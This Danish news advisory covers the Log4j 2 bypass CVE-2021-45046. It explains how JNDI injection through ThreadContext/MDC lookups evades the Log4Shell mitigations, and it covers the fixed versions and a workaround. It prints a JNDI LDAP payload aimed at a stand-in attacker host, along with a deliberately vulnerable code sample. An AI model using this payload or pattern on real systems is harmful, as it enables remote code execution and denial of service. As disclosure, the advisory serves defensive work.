Implementeringen af JNDI-udskiftninger i Log4j 2-biblioteket har afsløret endnu en sårbarhed (CVE-2021-45046), der viser sig på trods af de rettelser, der blev tilføjet i version 2.15, og uafhængigt af brugen af indstillingen «log4j2.noFormatMsgLookup» til beskyttelse. Problemet udgør primært en trussel for ældre versioner af Log4j 2, der er sikret ved hjælp af flaget «noFormatMsgLookup», da det giver mulighed for at omgå beskyttelsen mod den tidligere sårbarhed (Log4Shell, CVE-2021-44228), der muliggør udførelse af egen kode på serveren. For brugere af version 2.15 begrænses udnyttelsen til at skabe betingelser for, at applikationen afsluttes uventet på grund af udtømning af tilgængelige ressourcer.
Sårbarheden viser sig kun på systemer, hvor der bruges kontekstforespørgsler (Context Lookup) til logføring, såsom ${ctx:loginId}, eller MDC-mønstre (Thread Context Map), for eksempel %X, %mdc og %MDC. Udnyttelsen består i at skabe betingelser for, at data, der indeholder JNDI-forklaringer, skrives til loggen ved brug af kontekstforespørgsler eller MDC-mønstre, der definerer reglerne for logudskrivning.
Forskere fra LunaSec har bemærket, at for versioner af Log4j under 2.15 kan denne sårbarhed bruges som en ny angrebsvektor for Log4Shell, der fører til udførelse af kode, hvis der anvendes ThreadContext-udtryk, der inkluderer eksterne data, uanset om beskyttelsesflaget «noMsgFormatLookups» eller mønsteret «%m{nolookups}» er aktiveret.
Omgåelsen af beskyttelsen sker ved, at i stedet for direkte at indsætte «${jndi:ldap://attacker.com/a}» indsættes dette udtryk gennem værdien af en mellemvariabel, der bruges i logformatreglerne. For eksempel, hvis kontekstforespørgslen ${ctx:apiversion} bruges i logningen, kan angrebet finde sted gennem indsættelse af data «${jndi:ldap://attacker.com/a}» som værdien gemt i variablen apiversion. Eksempel på sårbar kode: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Værdien af HTTP-headeren «X-Api-Version» overføres til ThreadContext ThreadContext.put("apiversion", apiVersion); // Ved loggen vil den eksterne værdi apiversion blive behandlet ved hjælp af udskiftningen ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
I versionen Log4j 2.15 kan sårbarheden udnyttes til at udføre DoS-angreb ved at sende værdier til ThreadContext, der fører til uendelig loop i behandlingen af outputformatets skabelon.
For at blokere sårbarheden er opdateringerne 2.16 og 2.12.2 blevet offentliggjort. I Log4j 2.16-grenen er JNDI LDAP-forespørgsler bundet til 'localhost' udover forbedringerne fra version 2.15, og JNDI-funktionalitet er som standard helt deaktiveret og understøttelse af meddelelsesskabeloner er fjernet. Som en midlertidig beskyttelse er det foreslået at fjerne JndiLookup-klassen fra classpath (for eksempel 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Man kan følge med i opdateringerne i pakkerne på distributionssiderne (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) og producenterne af Java-platforme (GitHub, Docker, Oracle, vmWare, Broadcom og Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure osv.).
Kilde: opennet.ru
